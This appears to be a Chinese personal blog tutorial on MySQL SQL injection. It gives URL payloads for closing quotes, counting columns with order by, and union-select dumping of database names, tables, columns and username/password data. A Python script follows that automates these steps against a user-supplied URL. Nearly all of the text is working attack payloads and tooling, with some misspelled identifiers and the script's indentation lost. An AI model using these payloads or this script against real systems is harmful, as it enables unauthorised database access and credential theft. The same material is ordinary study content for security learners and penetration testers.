前言:看玩mysql注入
做一篇总结然后去打GTA 5
正文:
mysql注入与access注入不一样。因为数据库的特性不一样
access注入的暴力注入
mysql是有逻辑性的注入
首先得判断是什么类型,然后尝寻找注入点
select * from tables where id=$id; #这种情况下,$id变量多为数字型 不需要闭合符号,可以直接注入,但如果系统做了只能传入数字型的判断,就无法注入
select * from tables where id='$id'; #这种情况下,$id变量多为字符型 需要闭合单引号,可以用?id=1'这种形式闭合
select * from tables where id="$id"; #这种情况下,$id变量多为字符型 需要闭合双引号,可以用?id=1"这种形式闭合
select * from tables where id=($id); #这种情况下,$id变量多为数字型 需要闭合括号,可以用?id=1)这种形式闭合
select * from tables where id=('$id'); #这种情况下,$id变量多为字符型 需要同时闭合单引号和括号,可以用?id=1')这种形式闭合
select * from tables where id=("$id"); #这种情况下,$id变量多为字符型 需要同时闭合双引号和括号,可以用?id=1")这种形式闭合
select * from tables where id=(('$id')); #这种情况下,$id变量多为字符型 需要同时闭合单引号和两层括号,可以用?id=1'))这种形式闭合
有些语句还有limit子句,如select * from tables where id='$id' limit 0,1;,我们可以通过上面提到的方法先闭合单引号,然后用%23,即注释符注释掉后面的语句,具体写法如下:?id=1'%23;即可闭合输出正确的语句
*注:这里只列举几种常见的写法,可以结合实际情况,进行闭合符号,没有什么固定的方式,但最终达到一个目的就好了,就是闭合语句中可能有的符号,注释掉我们不需要或者可能会限制我们继续注入的部分。使得我们注入这些闭合原有语句的符号后,得到的语句还是正确并且可被执行的。
寻找注入点:
例子: 例子是数字型就不用闭合了
127.0.0.1/sqlin.php?x=1' 如果返回报错,则代表又注入点。
127.0.0.1/sqlin.php?x=1 and 1=1 页面返回正常 127.0.0.1/sqlin.php?and 1=2 页面返回错误存在注入点
猜字段长度
127.0.0.1/sqlin.php?x=1 order by 1
127.0.0.1/sqlin.php?x=1 order by 2
127.0.0.1/sqlin.php?x=1 order by 3 直到错误的前一个页面
暴显位
127.0.0.1/sqlin.php?x=1 union select 1,2,3 然后会给出位置
暴数据库和版本号
127.0.0.1/sqlin.php?x=1 union select 1,database(),version()
然后爆出指定数据库下的所有表名
获取所有表:infomatation_scheam.tables
指定表名:table_scheam=数据库的Hex编码
数据库名:table_name 用在第一个位
语句:union select table_name,2,3 from information_scheam.tables where table_schema=数据库名转成Hex编码的
http://127.0.0.1/sqlin.php?x=1%20union%20select%20table_name,2,3%20from%20information_schema.tables%20where%20table_schema=0x64767761
如果不加table_scheam指定数据库的话,直接informatation_scheam.tables。会爆出所有表名
爆列名
union select column_name,2,3 from information_schema.columns
爆指定的列名
union select column_name,2,3 from information_schema.columns where table_name=指定字段的Hex编码
读取指定列内容
union select 你指定的列名 from 你指定的表名
例子:
union select username,password from user
------------------------
python构造sql注入脚本
import requests
def ljw():
global url,rse,headers
url=input('请输入你要进行测试的url:')
a='%20and%201=1'
al=url+a
b='%20and%201=2'
bl=url+b
headers={'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0'}
rse=requests.get(url,headers=headers).content
and1=requests.get(al,headers=headers).content
and2=requests.get(bl,headers=headers).content
print(al)
print(bl)
if rse==and1 and rse!=and2:
print('[+]存在SQL注入')
else:
print('[-]不存在sql注入')
exit()
ljw()
def order():
global gww
for i in range(1,100):
usdw='%20order%20by%20{}'.format(i)
wge=url+usdw
wtq=requests.get(wge,headers=headers).content
look=requests.get(url,headers=headers).text
if wtq!=look:
lps=usdw[16]
gww=int(lps)-1
livs=usdw.replace(usdw[16],str(gww))
print('[+]字段长度为',gww)
print('[+]字段长度:',url+livs)
break
order()
def xwei():
global xc,fgk
ofw=gww+1
wtws=range(1,ofw)
owg=list(wtws)
pot=",".join(str(i)for i in owg)
xc='%20union%20select%20{}'.format(pot)
fgk=url+xc
print('[+]爆显位')
opr=requests.get(fgk,headers=headers)
print('[+]Http状态码:',opr.status_code)
print('[+]请读取显位:',opr.url)
xwei()
def huoqu():
liwd=input('请输入显位的位置:')
liwd2=input('请输入第二个显位的位置或跳过:')
print('database() 获取数据库名')
print('version() 获取数据库版本')
gsc=input('请输入要获取的函数:')
gsc2=input('请输入你要获取的函数:')
hw=xc.replace('%20',' ')
posw=hw.replace(liwd,gsc)
lk=posw.replace(liwd2,gsc2)
gwd=lk.replace(' ','%20')
usc=url+gwd
kiv=requests.get(usc,headers=headers)
print('[+]状态码:',kiv.status_code)
print('[+]获取的数据:',kiv.url)
huoqu()
def htbale():
print('爆数据库下所有的表')
wdf=fgk.replace('1','table_name')
ko=wdf+'%20from%20information_schema.tables'
dw=requests.get(ko,headers=headers)
print('[+]状态码:',dw.status_code)
print('[+]获取所有表的:',dw.url)
htbale()
def lisrw():
print('[+]爆出所有列')
wdf=fgk.replace('1','%20column_name')
gw=wdf+'%20from%20information_schema.columns'
sdw=requests.get(gw,headers=headers)
print('[+]状态码:',sdw.status_code)
print('[+]所有列的:',sdw.url)
lisrw()
运行图: